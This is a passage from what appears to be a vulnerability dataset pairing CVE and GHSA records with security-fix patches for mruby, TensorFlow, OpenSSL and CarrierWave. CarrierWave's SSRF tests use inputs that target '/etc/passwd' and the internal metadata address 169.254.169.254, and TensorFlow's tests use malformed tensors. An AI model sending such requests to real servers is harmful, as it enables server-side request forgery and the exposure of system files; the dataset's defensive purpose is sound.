lICpyaHMsIGludCBzcCwgaW50IHZhbCkKICAgICAgICAgICB9CiAgICAgICAgIH0KICAgICAgICAgaWYgKHRyZWUtPmNkci0+Y2FyKSB7ICAgICAgIC8qIGtleXdvcmQgYXJndW1lbnRzICovCisgICAgICAgICAgaWYgKG4gPT0gMTQpIHsKKyAgICAgICAgICAgIHBvcF9uKG4pOworICAgICAgICAgICAgZ2Vub3BfMihzLCBPUF9BUlJBWSwgY3Vyc3AoKSwgbik7CisgICAgICAgICAgICBwdXNoKCk7CisgICAgICAgICAgICBuID0gMTU7CisgICAgICAgICAgfQogICAgICAgICAgIGdlbl9oYXNoKHMsIHRyZWUtPmNkci0+Y2FyLT5jZHIsIFZBTCwgMCk7CiAgICAgICAgICAgaWYgKG4gPCAxNCkgewogICAgICAgICAgICAgbisrOwotICAgICAgICAgICAgcHVzaCgpOwogICAgICAgICAgIH0KICAgICAgICAgICBlbHNlIHsKLSAgICAgICAgICAgIHBvcCgpOworICAgICAgICAgICAgcG9wX24oMik7CiAgICAgICAgICAgICBnZW5vcF8yKHMsIE9QX0FSWVBVU0gsIGN1cnNwKCksIDEpOwogICAgICAgICAgIH0KKyAgICAgICAgICBwdXNoKCk7CiAgICAgICAgIH0KICAgICAgIH0KICAgICAgIGlmIChyaHMpIHs=", "url": "https://github.com/mruby/mruby/commit/0849a2885f81cfd82134992c06df3ccd59052ac7.patch" } ]
null
PYSEC-2020-311
null
[ { "commit_message": "[PATCH] Fix multiple vulnerabilities in `tf.raw_ops.*CountSparseOutput`. Also add tests for these API points, both for the happy paths and for the vulnerable ones. PiperOrigin-RevId: 332563222 Change-Id: Ib3b52116a83a134c2e742a7c66e5e956db8fba05 tensorflow/core/kernels/count_ops.cc | 41 +++++++ tensorflow/python/ops/bincount_ops_test.py | 118 +++++++++++++++++++++ 2 files changed, 159 insertions(+)", "patch_text_b64": "From 3cbb917b4714766030b28eba9fb41bb97ce9ee02 Mon Sep 17 00:00:00 2001
From: Mihai Maruseac <mihaimaruseac@google.com>
Date: Fri, 18 Sep 2020 18:15:03 -0700
Subject: [PATCH] Fix multiple vulnerabilities in
 `tf.raw_ops.*CountSparseOutput`.

Also add tests for these API points, both for the happy paths and for the vulnerable ones.

PiperOrigin-RevId: 332563222
Change-Id: Ib3b52116a83a134c2e742a7c66e5e956db8fba05
---
 tensorflow/core/kernels/count_ops.cc       |  41 +++++++
 tensorflow/python/ops/bincount_ops_test.py | 118 +++++++++++++++++++++
 2 files changed, 159 insertions(+)

diff --git a/tensorflow/core/kernels/count_ops.cc b/tensorflow/core/kernels/count_ops.cc
index 7c85b050039380..087deef0812f00 100644
--- a/tensorflow/core/kernels/count_ops.cc
+++ b/tensorflow/core/kernels/count_ops.cc
@@ -178,10 +178,30 @@ class SparseCount : public OpKernel {
     const Tensor& weights = context->input(3);
     bool use_weights = weights.NumElements() > 0;
 
+    OP_REQUIRES(context, TensorShapeUtils::IsMatrix(indices.shape()),
+                errors::InvalidArgument(
+                    "Input indices must be a 2-dimensional tensor. Got: ",
+                    indices.shape().DebugString()));
+
+    if (use_weights) {
+      OP_REQUIRES(
+          context, weights.shape() == values.shape(),
+          errors::InvalidArgument(
+              "Weights and values must have the same shape. Weight shape: ",
+              weights.shape().DebugString(),
+              "; values shape: ", values.shape().DebugString()));
+    }
+
     bool is_1d = shape.NumElements() == 1;
     int num_batches = is_1d ? 1 : shape.flat<int64>()(0);
     int num_values = values.NumElements();
 
+    OP_REQUIRES(context, num_values == indices.shape().dim_size(0),
+                errors::InvalidArgument(
+                    "Number of values must match first dimension of indices.",
+                    "Got ", num_values,
+                    " values, indices shape: ", indices.shape().DebugString()));
+
     const auto indices_values = indices.matrix<int64>();
     const auto values_values = values.flat<T>();
     const auto weight_values = weights.flat<W>();
@@ -235,12 +255,33 @@ class RaggedCount : public OpKernel {
     bool use_weights = weights.NumElements() > 0;
     bool is_1d = false;
 
+    if (use_weights) {
+      OP_REQUIRES(
+          context, weights.shape() == values.shape(),
+          errors::InvalidArgument(
+              "Weights and values must have the same shape. Weight shape: ",
+              weights.shape().DebugString(),
+              "; values shape: ", values.shape().DebugString()));
+    }
+
     const auto splits_values = splits.flat<int64>();
     const auto values_values = values.flat<T>();
     const auto weight_values = weights.flat<W>();
     int num_batches = splits.NumElements() - 1;
     int num_values = values.NumElements();
 
+    OP_REQUIRES(
+        context, num_batches > 0,
+        errors::InvalidArgument(
+            "Must provide at least 2 elements for the splits argument"));
+    OP_REQUIRES(context, splits_values(0) == 0,
+                errors::InvalidArgument("Splits must start with 0, not with ",
+                                        splits_values(0)));
+    OP_REQUIRES(context, splits_values(num_batches) == num_values,
+                errors::InvalidArgument(
+                    "Splits must end with the number of values, got ",
+                    splits_values(num_batches), " instead of ", num_values));
+
     auto per_batch_counts = BatchedMap<W>(num_batches);
     T max_value = 0;
     int batch_idx = 0;
diff --git a/tensorflow/python/ops/bincount_ops_test.py b/tensorflow/python/ops/bincount_ops_test.py
index baf0018fb321d7..5bc9bc1ab777cf 100644
--- a/tensorflow/python/ops/bincount_ops_test.py
+++ b/tensorflow/python/ops/bincount_ops_test.py
@@ -25,7 +25,9 @@
 from tensorflow.python.framework import errors
 from tensorflow.python.framework import ops
 from tensorflow.python.framework import sparse_tensor
+from tensorflow.python.framework import test_util
 from tensorflow.python.ops import bincount_ops
+from tensorflow.python.ops import gen_count_ops
 from tensorflow.python.ops import sparse_ops
 from tensorflow.python.ops.ragged import ragged_factory_ops
 from tensorflow.python.ops.ragged import ragged_tensor
@@ -834,5 +836,121 @@ def test_ragged_input_different_shape_fails(self):
       self.evaluate(bincount_ops.sparse_bincount(x, weights=weights, axis=-1))
 
 
+@test_util.run_all_in_graph_and_eager_modes
+@test_util.disable_tfrt
+class RawOpsTest(test.TestCase, parameterized.TestCase):
+
+  def testSparseCountSparseOutputBadIndicesShape(self):
+    indices = [[[0], [0]], [[0], [1]], [[1], [0]], [[1], [2]]]
+    values = [1, 1, 1, 10]
+    weights = [1, 2, 4, 6]
+    dense_shape = [2, 3]
+    with self.assertRaisesRegex(errors.InvalidArgumentError,
+                                "Input indices must be a 2-dimensional tensor"):
+      self.evaluate(
+          gen_count_ops.SparseCountSparseOutput(
+              indices=indices,
+              values=values,
+              dense_shape=dense_shape,
+              weights=weights,
+              binary_output=False))
+
+  def testSparseCountSparseOutputBadWeightsShape(self):
+    indices = [[0, 0], [0, 1], [1, 0], [1, 2]]
+    values = [1, 1, 1, 10]
+    weights = [1, 2, 4]
+    dense_shape = [2, 3]
+    with self.assertRaisesRegex(errors.InvalidArgumentError,
+                                "Weights and values must have the same shape"):
+      self.evaluate(
+          gen_count_ops.SparseCountSparseOutput(
+              indices=indices,
+              values=values,
+              dense_shape=dense_shape,
+              weights=weights,
+              binary_output=False))
+
+  def testSparseCountSparseOutputBadNumberOfValues(self):
+    indices = [[0, 0], [0, 1], [1, 0]]
+    values = [1, 1, 1, 10]
+    weights = [1, 2, 4, 6]
+    dense_shape = [2, 3]
+    with self.assertRaisesRegex(
+        errors.InvalidArgumentError,
+        "Number of values must match first dimension of indices"):
+      self.evaluate(
+          gen_count_ops.SparseCountSparseOutput(
+              indices=indices,
+              values=values,
+              dense_shape=dense_shape,
+              weights=weights,
+              binary_output=False))
+
+  def testRaggedCountSparseOutput(self):
+    splits = [0, 4, 7]
+    values = [1, 1, 2, 1, 2, 10, 5]
+    weights = [1, 2, 3, 4, 5, 6, 7]
+    output_indices, output_values, output_shape = self.evaluate(
+        gen_count_ops.RaggedCountSparseOutput(
+            splits=splits, values=values, weights=weights, binary_output=False))
+    self.assertAllEqual([[0, 1], [0, 2], [1, 2], [1, 5], [1, 10]],
+                        output_indices)
+    self.assertAllEqual([7, 3, 5, 7, 6], output_values)
+    self.assertAllEqual([2, 11], output_shape)
+
+  def testRaggedCountSparseOutputBadWeightsShape(self):
+    splits = [0, 4, 7]
+    values = [1, 1, 2, 1, 2, 10, 5]
+    weights = [1, 2, 3, 4, 5, 6]
+    with self.assertRaisesRegex(errors.InvalidArgumentError,
+                                "Weights and values must have the same shape"):
+      self.evaluate(
+          gen_count_ops.RaggedCountSparseOutput(
+              splits=splits,
+              values=values,
+              weights=weights,
+              binary_output=False))
+
+  def testRaggedCountSparseOutputEmptySplits(self):
+    splits = []
+    values = [1, 1, 2, 1, 2, 10, 5]
+    weights = [1, 2, 3, 4, 5, 6, 7]
+    with self.assertRaisesRegex(
+        errors.InvalidArgumentError,
+        "Must provide at least 2 elements for the splits argument"):
+      self.evaluate(
+          gen_count_ops.RaggedCountSparseOutput(
+              splits=splits,
+              values=values,
+              weights=weights,
+              binary_output=False))
+
+  def testRaggedCountSparseOutputBadSplitsStart(self):
+    splits = [1, 7]
+    values = [1, 1, 2, 1, 2, 10, 5]
+    weights = [1, 2, 3, 4, 5, 6, 7]
+    with self.assertRaisesRegex(errors.InvalidArgumentError,
+                                "Splits must start with 0"):
+      self.evaluate(
+          gen_count_ops.RaggedCountSparseOutput(
+              splits=splits,
+              values=values,
+              weights=weights,
+              binary_output=False))
+
+  def testRaggedCountSparseOutputBadSplitsEnd(self):
+    splits = [0, 5]
+    values = [1, 1, 2, 1, 2, 10, 5]
+    weights = [1, 2, 3, 4, 5, 6, 7]
+    with self.assertRaisesRegex(errors.InvalidArgumentError,
+                                "Splits must end with the number of values"):
+      self.evaluate(
+          gen_count_ops.RaggedCountSparseOutput(
+              splits=splits,
+              values=values,
+              weights=weights,
+              binary_output=False))
+
+
 if __name__ == "__main__":
   test.main()", "url": "https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02.patch" } ]
null
GHSA-q68f-qqmm-qvj9
null
[ { "commit_message": "[PATCH] Canonicalise input in CMS_verify. If content is detached and not binary mode translate the input to CRLF format. Before this change the input was verified verbatim which lead to a discrepancy between sign and verify. crypto/cms/cms_smime.c | 94 ++++++++++++++++++++++++++++++++---------- 1 file changed, 73 insertions(+), 21 deletions(-)", "patch_text_b64": "RnJvbSBjZDMwZjAzYWM1YmYyOTYyZjQ0YmQwMmFlOGQ4ODI0NWRmZjJmMTJjIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiAiRHIuIFN0ZXBoZW4gSGVuc29uIiA8c3RldmVAb3BlbnNzbC5vcmc+CkRhdGU6IFN1biwgMjIgRGVjIDIwMTMgMDA6MzU6MjkgKzAwMDAKU3ViamVjdDogW1BBVENIXSBDYW5vbmljYWxpc2UgaW5wdXQgaW4gQ01TX3ZlcmlmeS4KCklmIGNvbnRlbnQgaXMgZGV0YWNoZWQgYW5kIG5vdCBiaW5hcnkgbW9kZSB0cmFuc2xhdGUgdGhlIGlucHV0IHRvCkNSTEYgZm9ybWF0LiBCZWZvcmUgdGhpcyBjaGFuZ2UgdGhlIGlucHV0IHdhcyB2ZXJpZmllZCB2ZXJiYXRpbQp3aGljaCBsZWFkIHRvIGEgZGlzY3JlcGFuY3kgYmV0d2VlbiBzaWduIGFuZCB2ZXJpZnkuCi0tLQogY3J5cHRvL2Ntcy9jbXNfc21pbWUuYyB8IDk0ICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrLS0tLS0tLS0tLQogMSBmaWxlIGNoYW5nZWQsIDczIGluc2VydGlvbnMoKyksIDIxIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2NyeXB0by9jbXMvY21zX3NtaW1lLmMgYi9jcnlwdG8vY21zL2Ntc19zbWltZS5jCmluZGV4IDIwNDU5NWI5MDhjNDYuLjhmMWFhMzhjY2M1YjMgMTAwNjQ0Ci0tLSBhL2NyeXB0by9jbXMvY21zX3NtaW1lLmMKKysrIGIvY3J5cHRvL2Ntcy9jbXNfc21pbWUuYwpAQCAtNjAsMjEgKzYwLDI4IEBACiAjaW5jbHVkZSAiY21zX2xjbC5oIgogI2luY2x1ZGUgImFzbjFfbG9jbC5oIgogCi1zdGF0aWMgaW50IGNtc19jb3B5X2NvbnRlbnQoQklPICpvdXQsIEJJTyAqaW4sIHVuc2lnbmVkIGludCBmbGFncykKK3N0YXRpYyBCSU8gKmNtc19nZXRfdGV4dF9iaW8oQklPICpvdXQsIHVuc2lnbmVkIGludCBmbGFncykKIAl7Ci0JdW5zaWduZWQgY2hhciBidWZbNDA5Nl07Ci0JaW50IHIgPSAwLCBpOwotCUJJTyAqdG1wb3V0ID0gTlVMTDsKLQorCUJJTyAqcmJpbzsKIAlpZiAob3V0ID09IE5VTEwpCi0JCXRtcG91dCA9IEJJT19uZXcoQklPX3NfbnVsbCgpKTsKKwkJcmJpbyA9IEJJT19uZXcoQklPX3NfbnVsbCgpKTsKIAllbHNlIGlmIChmbGFncyAmIENNU19URVhUKQogCQl7Ci0JCXRtcG91dCA9IEJJT19uZXcoQklPX3NfbWVtKCkpOwotCQlCSU9fc2V0X21lbV9lb2ZfcmV0dXJuKHRtcG91dCwgMCk7CisJCXJiaW8gPSBCSU9fbmV3KEJJT19zX21lbSgpKTsKKwkJQklPX3NldF9tZW1fZW9mX3JldHVybihyYmlvLCAwKTsKIAkJfQogCWVsc2UKLQkJdG1wb3V0ID0gb3V0OworCQlyYmlvID0gb3V0OworCXJldHVybiByYmlvOworCX0KKworc3RhdGljIGludCBjbXNfY29weV9jb250ZW50KEJJTyAqb3V0LCBCSU8gKmluLCB1bnNpZ25lZCBpbnQgZmxhZ3MpCisJeworCXVuc2lnbmVkIGNoYXIgYnVmWzQwOTZdOworCWludCByID0gMCwgaTsKKwlCSU8gKnRtcG91dDsKKworCXRtcG91dCA9IGNtc19nZXRfdGV4dF9iaW8ob3V0LCBmbGFncyk7CiAKIAlpZighdG1wb3V0KQogCQl7CkBAIC0xNDIsNyArMTQ5LDcgQEAgc3RhdGljIHZvaWQgZG9fZnJlZV91cHRvKEJJTyAqZiwgQklPICp1cHRvKQogCQkJQklPX2ZyZWUoZik7CiAJCQlmID0gdGJpbzsKIAkJCX0KLQkJd2hpbGUgKGYgIT0gdXB0byk7CisJCXdoaWxlIChmICYmIGYgIT0gdXB0byk7CiAJCX0KIAllbHNlCiAJCUJJT19mcmVlX2FsbChmKTsKQEAgLTMyMyw3ICszMzAsNyBAQCBpbnQgQ01TX3ZlcmlmeShDTVNfQ29udGVudEluZm8gKmNtcywgU1RBQ0tfT0YoWDUwOSkgKmNlcnRzLAogCVNUQUNLX09GKFg1MDlfQ1JMKSAqY3JscyA9IE5VTEw7CiAJWDUwOSAqc2lnbmVyOwogCWludCBpLCBzY291bnQgPSAwLCByZXQgPSAwOwotCUJJTyAqY21zYmlvID0gTlVMTCwgKnRtcGluID0gTlVMTDsKKwlCSU8gKmNtc2JpbyA9IE5VTEwsICp0bXBpbiA9IE5VTEwsICp0bXBvdXQgPSBOVUxMOwogCiAJaWYgKCFkY29udCAmJiAhY2hlY2tfY29udGVudChjbXMpKQogCQlyZXR1cm4gMDsKQEAgLTQwNiwxNSArNDEzLDQ4IEBAIGludCBDTVNfdmVyaWZ5KENNU19Db250ZW50SW5mbyAqY21zLCBTVEFDS19PRihYNTA5KSAqY2VydHMsCiAJCX0KIAllbHNlCiAJCXRtcGluID0gZGNvbnQ7Ci0JCQorCS8qIElmIG5vdCBiaW5hcnkgbW9kZSBhbmQgZGV0YWNoZWQgZ2VuZXJhdGUgZGlnZXN0cyBieSAqd3JpdGluZyoKKwkgKiB0aHJvdWdoIHRoZSBCSU8uIFRoYXQgbWFrZXMgaXQgcG9zc2libGUgdG8gY2Fub25pY2FsaXNlIHRoZQorCSAqIGlucHV0LgorCSAqLworCWlmICghKGZsYWdzICYgU01JTUVfQklOQVJZKSAmJiBkY29udCkKKwkJeworCQkvKiBDcmVhdGUgb3V0cHV0IEJJTyBzbyB3ZSBjYW4gZWl0aGVyIGhhbmRsZSB0ZXh0IG9yIHRvCisJCSAqIGVuc3VyZSBpbmNsdWRlZCBjb250ZW50IGRvZXNuJ3Qgb3ZlcnJpZGUgZGV0YWNoZWQgY29udGVudC4KKwkJICovCisJCXRtcG91dCA9IGNtc19nZXRfdGV4dF9iaW8ob3V0LCBmbGFncyk7CisJCWlmKCF0bXBvdXQpCisJCQl7CisJCQlDTVNlcnIoQ01TX0ZfQ01TX1ZFUklGWSxFUlJfUl9NQUxMT0NfRkFJTFVSRSk7CisJCQlnb3RvIGVycjsKKwkJCX0KKwkJY21zYmlvID0gQ01TX2RhdGFJbml0KGNtcywgdG1wb3V0KTsKKwkJaWYgKCFjbXNiaW8pCisJCQlnb3RvIGVycjsKKwkJLyogRG9uJ3QgdXNlIFNNSU1FX1RFWFQgZm9yIHZlcmlmeTogaXQgYWRkcyBoZWFkZXJzIGFuZAorCQkgKiB3ZSB3YW50IHRvIHJlbW92ZSB0aGVtLgorCQkgKi8KKwkJU01JTUVfY3JsZl9jb3B5KGRjb250LCBjbXNiaW8sIGZsYWdzICYgflNNSU1FX1RFWFQpOwogCi0JY21zYmlvPUNNU19kYXRhSW5pdChjbXMsIHRtcGluKTsKLQlpZiAoIWNtc2JpbykKLQkJZ290byBlcnI7CisJCWlmKGZsYWdzICYgQ01TX1RFWFQpCisJCQl7CisJCQlpZiAoIVNNSU1FX3RleHQodG1wb3V0LCBvdXQpKQorCQkJCXsKKwkJCQlDTVNlcnIoQ01TX0ZfQ01TX1ZFUklGWSxDTVNfUl9TTUlNRV9URVhUX0VSUk9SKTsKKwkJCQlnb3RvIGVycjsKKwkJCQl9CisJCQl9CisJCX0KKwllbHNlCisJCXsKKwkJY21zYmlvPUNNU19kYXRhSW5pdChjbXMsIHRtcGluKTsKKwkJaWYgKCFjbXNiaW8pCisJCQlnb3RvIGVycjsKIAotCWlmICghY21zX2NvcHlfY29udGVudChvdXQsIGNtc2JpbywgZmxhZ3MpKQotCQlnb3RvIGVycjsKKwkJaWYgKCFjbXNfY29weV9jb250ZW50KG91dCwgY21zYmlvLCBmbGFncykpCisJCQlnb3RvIGVycjsKIAorCQl9CiAJaWYgKCEoZmxhZ3MgJiBDTVNfTk9fQ09OVEVOVF9WRVJJRlkpKQogCQl7CiAJCWZvciAoaSA9IDA7IGkgPCBza19DTVNfU2lnbmVySW5mb19udW0oc2luZm9zKTsgaSsrKQpAQCAtNDMyLDExICs0NzIsMjMgQEAgaW50IENNU192ZXJpZnkoQ01TX0NvbnRlbnRJbmZvICpjbXMsIFNUQUNLX09GKFg1MDkpICpjZXJ0cywKIAlyZXQgPSAxOwogCiAJZXJyOgotCQotCWlmIChkY29udCAmJiAodG1waW4gPT0gZGNvbnQpKQotCQlkb19mcmVlX3VwdG8oY21zYmlvLCBkY29udCk7CisJaWYgKCEoZmxhZ3MgJiBTTUlNRV9CSU5BUlkpICYmIGRjb250KQorCQl7CisJCWRvX2ZyZWVfdXB0byhjbXNiaW8sIHRtcG91dCk7CisJCWlmICh0bXBpbiAhPSBkY29udCkKKwkJCUJJT19mcmVlKHRtcGluKTsKKwkJfQogCWVsc2UKLQkJQklPX2ZyZWVfYWxsKGNtc2Jpbyk7CisJCXsKKworCQlpZiAoZGNvbnQgJiYgKHRtcGluID09IGRjb250KSkKKwkJCWRvX2ZyZWVfdXB0byhjbXNiaW8sIGRjb250KTsKKwkJZWxzZQorCQkJQklPX2ZyZWVfYWxsKGNtc2Jpbyk7CisJCX0KKworCWlmICh0bXBvdXQgJiYgb3V0ICE9IHRtcG91dCkKKwkJQklPX2ZyZWVfYWxsKHRtcG91dCk7CiAKIAlpZiAoY21zX2NlcnRzKQogCQlza19YNTA5X3BvcF9mcmVlKGNtc19jZXJ0cywgWDUwOV9mcmVlKTs=", "url": "https://github.com/openssl/openssl/commit/cd30f03ac5bf2962f44bd02ae8d88245dff2f12c.patch" } ]
null
CVE-2021-21288
Server-side request forgery in CarrierWave
CarrierWave is an open-source RubyGem which provides a simple and flexible way to upload files from Ruby applications. In CarrierWave before versions 1.3.2 and 2.1.1 the download feature has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use and gather information about the Intranet infrastructure of the platform. This is fixed in versions 1.3.2 and 2.1.1.
[ { "commit_message": "[PATCH] Fix SSRF vulnerability in the remote file download feature Closes #2509, Refs. https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-fwcm-636p-68r5 carrierwave.gemspec | 1 + features/step_definitions/download_steps.rb | 2 +- lib/carrierwave/downloader/base.rb | 37 ++++++++++- lib/carrierwave/downloader/remote_file.rb | 33 ++++++++-- spec/downloader/base_spec.rb | 71 +++++++++++++++------ spec/downloader/remote_file_spec.rb | 56 +++++++++++++--- spec/mount_multiple_spec.rb | 16 ++--- spec/mount_single_spec.rb | 20 +++--- spec/orm/activerecord_spec.rb | 4 +- spec/spec_helper.rb | 9 +++ spec/uploader/download_spec.rb | 8 ++- 11 files changed, 197 insertions(+), 60 deletions(-)", "patch_text_b64": "From 012702eb3ba1663452aa025831caa304d1a665c0 Mon Sep 17 00:00:00 2001
From: "M.Shibuya" <mit.shibuya@gmail.com>
Date: Mon, 25 Jan 2021 18:04:35 +0900
Subject: [PATCH] Fix SSRF vulnerability in the remote file download feature

Closes #2509, Refs. https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-fwcm-636p-68r5
---
 carrierwave.gemspec                         |  1 +
 features/step_definitions/download_steps.rb |  2 +-
 lib/carrierwave/downloader/base.rb          | 37 ++++++++++-
 lib/carrierwave/downloader/remote_file.rb   | 33 ++++++++--
 spec/downloader/base_spec.rb                | 71 +++++++++++++++------
 spec/downloader/remote_file_spec.rb         | 56 +++++++++++++---
 spec/mount_multiple_spec.rb                 | 16 ++---
 spec/mount_single_spec.rb                   | 20 +++---
 spec/orm/activerecord_spec.rb               |  4 +-
 spec/spec_helper.rb                         |  9 +++
 spec/uploader/download_spec.rb              |  8 ++-
 11 files changed, 197 insertions(+), 60 deletions(-)

diff --git a/carrierwave.gemspec b/carrierwave.gemspec
index 4bcfec28f..9ff593167 100644
--- a/carrierwave.gemspec
+++ b/carrierwave.gemspec
@@ -27,6 +27,7 @@ Gem::Specification.new do |s|
   s.add_dependency "image_processing", "~> 1.1"
   s.add_dependency "mimemagic", ">= 0.3.0"
   s.add_dependency "addressable", "~> 2.6"
+  s.add_dependency "ssrf_filter", "~> 1.0"
   if RUBY_ENGINE == 'jruby'
     s.add_development_dependency 'activerecord-jdbcpostgresql-adapter'
   else
diff --git a/features/step_definitions/download_steps.rb b/features/step_definitions/download_steps.rb
index b36acfaae..63a92950c 100644
--- a/features/step_definitions/download_steps.rb
+++ b/features/step_definitions/download_steps.rb
@@ -1,6 +1,6 @@
 When /^I download the file '([^']+)'/ do |url|
   unless ENV['REMOTE'] == 'true'
-    stub_request(:get, "s3.amazonaws.com/Monkey/testfile.txt").
+    stub_request(:get, %r{/Monkey/testfile.txt}).
       to_return(body: "S3 Remote File", headers: { "Content-Type" => "text/plain" })
   end
 
diff --git a/lib/carrierwave/downloader/base.rb b/lib/carrierwave/downloader/base.rb
index 12a39f228..b040bbc4e 100644
--- a/lib/carrierwave/downloader/base.rb
+++ b/lib/carrierwave/downloader/base.rb
@@ -1,4 +1,5 @@
 require 'open-uri'
+require 'ssrf_filter'
 require 'addressable'
 require 'carrierwave/downloader/remote_file'
 
@@ -22,12 +23,22 @@ def initialize(uploader)
       def download(url, remote_headers = {})
         headers = remote_headers.
           reverse_merge('User-Agent' => "CarrierWave/#{CarrierWave::VERSION}")
+        uri = process_uri(url.to_s)
         begin
-          file = OpenURI.open_uri(process_uri(url.to_s), headers)
+          if skip_ssrf_protection?(uri)
+            response = OpenURI.open_uri(process_uri(url.to_s), headers)
+          else
+            request = nil
+            response = SsrfFilter.get(uri, headers: headers) do |req|
+              request = req
+            end
+            response.uri = request.uri
+            response.value
+          end
         rescue StandardError => e
           raise CarrierWave::DownloadError, "could not download file: #{e.message}"
         end
-        CarrierWave::Downloader::RemoteFile.new(file)
+        CarrierWave::Downloader::RemoteFile.new(response)
       end
 
       ##
@@ -49,6 +60,28 @@ def process_uri(uri)
       rescue URI::InvalidURIError, Addressable::URI::InvalidURIError
         raise CarrierWave::DownloadError, "couldn't parse URL: #{uri}"
       end
+
+      ##
+      # If this returns true, SSRF protection will be bypassed.
+      # You can override this if you want to allow accessing specific local URIs that are not SSRF exploitable.
+      #
+      # === Parameters
+      #
+      # [uri (URI)] The URI where the remote file is stored
+      #
+      # === Examples
+      #
+      #     class CarrierWave::Downloader::CustomDownloader < CarrierWave::Downloader::Base
+      #       def skip_ssrf_protection?(uri)
+      #         uri.hostname == 'localhost' && uri.port == 80
+      #       end
+      #     end
+      #
+      #     my_uploader.downloader = CarrierWave::Downloader::CustomDownloader
+      #
+      def skip_ssrf_protection?(uri)
+        false
+      end
     end
   end
 end
diff --git a/lib/carrierwave/downloader/remote_file.rb b/lib/carrierwave/downloader/remote_file.rb
index 654e5a2bb..d90a34e31 100644
--- a/lib/carrierwave/downloader/remote_file.rb
+++ b/lib/carrierwave/downloader/remote_file.rb
@@ -1,15 +1,36 @@
 module CarrierWave
   module Downloader
     class RemoteFile
-      attr_reader :file
+      attr_reader :file, :uri
 
       def initialize(file)
-        @file = file.is_a?(String) ? StringIO.new(file) : file
+        case file
+        when String
+          @file = StringIO.new(file)
+        when Net::HTTPResponse
+          @file = StringIO.new(file.body)
+          @content_type = file.content_type
+          @headers = file
+          @uri = file.uri
+        else
+          @file = file
+          @content_type = file.content_type
+          @headers = file.meta
+          @uri = file.base_uri
+        end
+      end
+
+      def content_type
+        @content_type || 'application/octet-stream'
+      end
+
+      def headers
+        @headers || {}
       end
 
       def original_filename
         filename = filename_from_header || filename_from_uri
-        mime_type = MiniMime.lookup_by_content_type(file.content_type)
+        mime_type = MiniMime.lookup_by_content_type(content_type)
         unless File.extname(filename).present? || mime_type.blank?
           filename = "#{filename}.#{mime_type.extension}"
         end
@@ -23,16 +44,16 @@ def respond_to?(*args)
       private
 
       def filename_from_header
-        return nil unless file.meta.include? 'content-disposition'
+        return nil unless headers['content-disposition']
 
-        match = file.meta['content-disposition'].match(/filename=(?:"([^"]+)"|([^";]+))/)
+        match = headers['content-disposition'].match(/filename=(?:"([^"]+)"|([^";]+))/)
         return nil unless match
 
         match[1].presence || match[2].presence
       end
 
       def filename_from_uri
-        CGI.unescape(File.basename(file.base_uri.path))
+        CGI.unescape(File.basename(uri.path))
       end
 
       def method_missing(*args, &block)
diff --git a/spec/downloader/base_spec.rb b/spec/downloader/base_spec.rb
index 3ca8a3c2a..337e4f4cc 100644
--- a/spec/downloader/base_spec.rb
+++ b/spec/downloader/base_spec.rb
@@ -26,21 +26,6 @@
     end
   end
 
-  context "with a URL with internationalized domain name" do
-    let(:uri) { "http://ドメイン名例.jp/#{CGI.escape(filename)}" }
-    before do
-      stub_request(:get, 'http://xn--eckwd4c7cu47r2wf.jp/test.jpg').to_return(body: file)
-    end
-
-    it "converts to Punycode URI" do
-      expect(subject.process_uri(uri).to_s).to eq 'http://xn--eckwd4c7cu47r2wf.jp/test.jpg'
-    end
-
-    it "downloads a file" do
-      expect(subject.download(uri).file.read).to eq file
-    end
-  end
-
   context "with equal and colons in the query path" do
     let(:query) { 'test=query&with=equal&before=colon:param' }
     let(:uri) { "https://example.com/#{filename}?#{query}" }
@@ -77,10 +62,6 @@
     end
   end
 
-  it "raises an error when trying to download a local file" do
-    expect { subject.download('/etc/passwd') }.to raise_error(CarrierWave::DownloadError)
-  end
-
   context "with missing file" do
     before do
       stub_request(:get, uri).to_return(status: 404)
@@ -95,6 +76,20 @@
     end
   end
 
+  context "with server error" do
+    before do
+      stub_request(:get, uri).to_return(status: 500)
+    end
+
+    it "raises an error when trying to download" do
+      expect{ subject.download(uri) }.to raise_error(CarrierWave::DownloadError)
+    end
+
+    it "doesn't obscure original exception message" do
+      expect { subject.download(uri) }.to raise_error(CarrierWave::DownloadError, /could not download file: 500/)
+    end
+  end
+
   context "with a url that contains space" do
     let(:filename) { "my test.jpg" }
     before do
@@ -111,7 +106,7 @@
     before do
       stub_request(:get, uri).
         to_return(status: 301, body: "Redirecting", headers: { "Location" => another_uri })
-      stub_request(:get, another_uri).to_return(body: file)
+      stub_request(:get, /redirected.jpg/).to_return(body: file)
     end
 
     it "retrieves redirected file" do
@@ -123,7 +118,31 @@
     end
   end
 
+  context "with SSRF prevention" do
+    before do
+      stub_request(:get, 'http://169.254.169.254/').to_return(body: file)
+      stub_request(:get, 'http://127.0.0.1/').to_return(body: file)
+    end
+
+    it "prevents accessing local files" do
+      expect { subject.download('/etc/passwd') }.to raise_error(CarrierWave::DownloadError)
+      expect { subject.download('file:///etc/passwd') }.to raise_error(CarrierWave::DownloadError)
+    end
+
+    it "prevents accessing internal addresses" do
+      expect { uploader.download!("http://169.254.169.254/") }.to raise_error CarrierWave::DownloadError
+      expect { uploader.download!("http://lvh.me/") }.to raise_error CarrierWave::DownloadError
+    end
+  end
+
   describe '#process_uri' do
+    it "converts a URL with internationalized domain name to Punycode URI" do
+      uri = "http://ドメイン名例.jp/#{CGI.escape(filename)}"
+      processed = subject.process_uri(uri)
+      expect(processed.class).to eq(URI::HTTP)
+      expect(processed.to_s).to eq 'http://xn--eckwd4c7cu47r2wf.jp/test.jpg'
+    end
+
     it "parses but not escape already escaped uris" do
       uri = 'http://example.com/%5B.jpg'
       processed = subject.process_uri(uri)
@@ -178,4 +197,16 @@
       expect { subject.process_uri(uri) }.to raise_error(CarrierWave::DownloadError)
     end
   end
+
+  describe "#skip_ssrf_protection?" do
+    let(:uri) { 'http://localhost/test.jpg' }
+    before do
+      WebMock.stub_request(:get, uri).to_return(body: file)
+      allow(subject).to receive(:skip_ssrf_protection?).and_return(true)
+    end
+
+    it "allows local request to be made" do
+      expect(subject.download(uri).read).to eq 'this is stuff'
+    end
+  end
 end
